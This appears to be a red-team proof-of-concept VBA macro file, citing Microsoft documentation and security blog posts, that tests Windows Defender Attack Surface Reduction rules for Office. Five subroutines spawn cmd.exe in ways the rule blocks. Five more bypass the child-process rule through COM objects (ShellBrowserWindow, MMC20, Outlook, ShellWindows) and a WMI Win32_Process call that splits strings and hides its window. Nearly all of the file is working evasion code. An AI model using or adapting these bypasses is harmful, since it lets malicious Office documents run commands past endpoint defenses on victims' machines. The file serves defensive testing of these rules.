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ASR rules bypass creating child processes
' ASR rules bypass creating child processes
' https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-exploit-guard/enable-attack-surface-reduction
' https://www.darkoperator.com/blog/2017/11/11/windows-defender-exploit-guard-asr-rules-for-office
' https://www.darkoperator.com/blog/2017/11/6/windows-defender-exploit-guard-asr-vbscriptjs-rule
Sub ASR_blocked()
Dim WSHShell As Object
Set WSHShell = CreateObject("Wscript.Shell")
WSHShell.Run "cmd.exe"
End Sub
Sub ASR_blocked2()
Dim WSHShell As Object
Set WSHShell = CreateObject("Shell.Application")
WSHShell.ShellExecute "cmd.exe"
End Sub
Sub ASR_blocked3()
Call Shell("cmd.exe", 1)
End Sub
Sub ASR_blocked4()
Set WshShell = CreateObject("WScript.Shell")
Set WshShellExec = WshShell.Exec("cmd.exe")
End Sub
Sub ASR_blocked5()
Set obj = CreateObject("Excel.Application")
obj.DisplayAlerts = False
obj.DDEInitiate "cmd", "/c notepad.exe"
End Sub
Sub ASR_bypass_create_child_process_rule()
Const ShellBrowserWindow = _
"{C08AFD90-F2A1-11D1-8455-00A0C91F3880}"
Set SBW = GetObject("new:" & ShellBrowserWindow)
SBW.Document.Application.ShellExecute "cmd.exe", Null, "C:\Windows\System32", Null, 0
End Sub
Sub ASR_bypass_create_child_process_rule2()
Const ExecuteShellCommand = _
"{49B2791A-B1AE-4C90-9B8E-E860BA07F889}"
Set MMC20 = GetObject("new:" & ExecuteShellCommand)
MMC20.Document.ActiveView.ExecuteShellCommand ("cmd.exe")
End Sub
Sub ASR_bypass_create_child_process_rule3()
Const OUTLOOK = _
"{0006F03A-0000-0000-C000-000000000046}"
Set objShell = GetObject("new:" & OUTLOOK)
objShell.CreateObject("WScript.Shell").Run "cmd.exe", 0
End Sub
Sub ASR_bypass_create_child_process_rule4()
Const ShellWindows = _
"{9BA05972-F6A8-11CF-A442-00A0C90A8F39}"
Set SW = GetObject("new:" & ShellWindows).Item()
SW.Document.Application.ShellExecute "cmd.exe", Null, "C:\Windows\System32", Null, 0
End Sub
Sub ASR_bypass_create_child_process_rule5()
Const HIDDEN_WINDOW = 0
strComputer = "."
Set objWMIService = GetObject("win" & "mgmts" & ":\\" & strComputer & "\root" & "\cimv2")
Set objStartup = objWMIService.Get("Win32_" & "Process" & "Startup")
Set objConfig = objStartup.SpawnInstance_
objConfig.ShowWindow = HIDDEN_WINDOW
Set objProcess = GetObject("winmgmts:\\" & strComputer & "\root" & "\cimv2" & ":Win32_" & "Process")
objProcess.Create "cmd.exe", Null, objConfig, intProcessID
End Sub
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